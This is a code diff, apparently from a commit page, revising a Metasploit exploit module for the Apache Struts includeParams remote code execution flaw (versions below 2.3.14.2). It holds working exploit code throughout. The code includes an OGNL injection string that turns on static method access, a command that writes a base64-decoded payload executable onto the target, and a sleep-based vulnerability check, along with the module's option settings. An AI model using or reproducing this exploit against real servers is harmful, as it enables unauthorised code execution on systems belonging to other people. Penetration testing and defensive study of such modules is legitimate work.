8
8
require 'msf/core'
9
9
10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
- Rank = ExcellentRanking
11
+ Rank = GreatRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
14
include Msf ::Exploit ::EXE
@@ -18,17 +18,22 @@ def initialize(info = {})
18
18
super ( update_info ( info ,
19
19
'Name' => 'Apache Struts includeParams Remote Code Execution' ,
20
20
'Description' => %q{
21
- This module exploits a remote command execution vulnerability in Apache Struts
21
+ This module exploits a remote command execution vulnerability in Apache Struts
22
22
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
23
23
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
24
+ When targeting an action which requires interaction through GET the payload should
25
+ be split having into account the uri limits. In this case, if the rendered jsp has
26
+ more than one point of injection, it could result in payload corruption. It should
27
+ happen only when the payload is larger than the uri length.
24
28
} ,
25
29
'Author' =>
26
30
[
31
+ # This vulnerability was also discovered by unknown members of:
32
+ # 'Coverity security Research Laboratory'
33
+ # 'NSFOCUS Security Team'
27
34
'Eric Kobrin' , # Vulnerability Discovery
28
35
'Douglas Rodrigues' , # Vulnerability Discovery
29
- 'Coverity security Research Laboratory' , # Vulnerability Discovery
30
- 'NSFOCUS Security Team' , # Vulnerability Discovery
31
- 'Richard Hicks <scriptmonkey.blog[at]gmail.com>' , # Metasploit Module
36
+ 'Richard Hicks <scriptmonkey.blog[at]gmail.com>' # Metasploit Module
32
37
] ,
33
38
'License' => MSF_LICENSE ,
34
39
'References' =>
@@ -46,7 +51,7 @@ def initialize(info = {})
46
51
[ 'Windows Universal' ,
47
52
{
48
53
'Arch' => ARCH_X86 ,
49
- 'Platform' => 'windows '
54
+ 'Platform' => 'win '
50
55
}
51
56
] ,
52
57
[ 'Linux Universal' ,
@@ -65,18 +70,14 @@ def initialize(info = {})
65
70
'DisclosureDate' => 'May 24 2013' ,
66
71
'DefaultTarget' => 2 ) )
67
72
68
- register_options (
69
- [
70
- Opt ::RPORT ( 8080 ) ,
71
- OptString . new ( 'PARAMETER' , [ true , 'The parameter to use for the exploit (does not have to be an expected one).' , rand_text_alpha_lower ( 4 ) ] ) ,
72
- OptString . new ( 'TARGETURI' , [ true , 'The path to a vulnerable struts application action' , "/struts2-blank3/example/HelloWorld.action" ] ) ,
73
- OptEnum . new ( 'HTTPMETHOD' , [ true , 'Which HTTP Method to use, GET or POST' , 'GET' , [ 'GET' , 'POST' ] ] ) ,
74
- OptInt . new ( 'CHECK_SLEEPTIME' , [ true , 'The time, in seconds, to ask the server to sleep while check' , 5 ] )
75
- ] , self . class )
76
-
77
- #initialise some base vars
78
- @inject = "${#_memberAccess[\" allowStaticMethodAccess\" ]=true,CMD}"
79
- @java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
73
+ register_options (
74
+ [
75
+ Opt ::RPORT ( 8080 ) ,
76
+ OptString . new ( 'PARAMETER' , [ true , 'The parameter to use for the exploit (does not have to be an expected one).' , rand_text_alpha_lower ( 4 ) ] ) ,
77
+ OptString . new ( 'TARGETURI' , [ true , 'The path to a vulnerable struts application action' , "/struts2-blank/example/HelloWorld.action" ] ) ,
78
+ OptEnum . new ( 'HTTPMETHOD' , [ true , 'Which HTTP Method to use, GET or POST' , 'POST' , [ 'GET' , 'POST' ] ] ) ,
79
+ OptInt . new ( 'CHECK_SLEEPTIME' , [ true , 'The time, in seconds, to ask the server to sleep while check' , 5 ] )
80
+ ] , self . class )
80
81
end
81
82
82
83
def execute_command ( cmd , opts = { } )
@@ -90,7 +91,7 @@ def execute_command(cmd, opts = {})
90
91
req_hash . merge! ( { 'vars_get' => { datastore [ 'PARAMETER' ] => inject_string } } )
91
92
end
92
93
93
- # Display a nice "progress bar" instead of message spam
94
+ # Display a nice "progress bar" instead of message spam
94
95
case @notify_flag
95
96
when 0
96
97
print_status ( "Performing HTTP #{ datastore [ 'HTTPMETHOD' ] } requests to upload payload" )
@@ -105,6 +106,9 @@ def execute_command(cmd, opts = {})
105
106
end
106
107
107
108
def exploit
109
+ #initialise some base vars
110
+ @inject = "${#_memberAccess[\" allowStaticMethodAccess\" ]=true,CMD}"
111
+ @java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
108
112
#Set up generic values.
109
113
@payload_exe = rand_text_alphanumeric ( 4 +rand ( 4 ) )
110
114
pl_exe = generate_payload_exe
@@ -172,6 +176,8 @@ def java_upload_part(part, filename, append = false)
172
176
end
173
177
174
178
def check
179
+ #initialise some base vars
180
+ @inject = "${#_memberAccess[\" allowStaticMethodAccess\" ]=true,CMD}"
175
181
print_status ( "Performing Check..." )
176
182
sleep_time = datastore [ 'CHECK_SLEEPTIME' ]
177
183
check_cmd = "@java.lang.Thread@sleep(#{ sleep_time * 1000 } )"
0 commit comments